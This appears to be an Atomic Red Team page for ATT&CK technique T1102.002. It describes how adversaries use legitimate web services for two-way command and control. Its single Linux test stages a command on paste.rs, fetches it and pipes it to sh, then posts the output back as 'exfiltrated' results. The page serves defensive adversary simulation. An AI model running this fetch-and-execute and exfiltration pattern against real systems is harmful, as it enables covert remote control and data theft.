logo
SlackReddit

T1102.002

Web Service: Bidirectional Communication

Description from ATT&CK

Adversaries may use an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet.

Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.

Source

Atomic Tests

Atomic Test #1: Bidirectional C2 Simulation via paste.rs (sh)

This test replicates a full bidirectional C2 flow using the public paste.rs service...

Supported Platforms: Linux

auto_generated_guid: ec9ab81c-8053-4957-8c66-0218381ab564

Inputs

NameDescriptionTypeDefault Value
safe_commandCommand to stage and execute (safe text only)stringecho Simulated host discovery output
paste_serviceBase URL of the pastebin-like servicestringhttps://paste.rs

Attack Commands: Run with sh!

STAGE_URL=$(curl -s -X POST -d "#{safe_command}" "#{paste_service}")
echo "Command staged at: $STAGE_URL"
OUTPUT=$(curl -s "$STAGE_URL" | sh 2>&1)
echo "Fetched and executed command. Output: $OUTPUT"
EXFIL_URL=$(echo "$OUTPUT" | curl -s -X POST --data-binary @- "#{paste_service}")
echo "Results exfiltrated to: $EXFIL_URL"
echo "--- Attacker sees ---"
curl -s "$EXFIL_URL"

Atomic test(s) for this technique last updated: 2026-06-23 06:12:22 UTC

On this page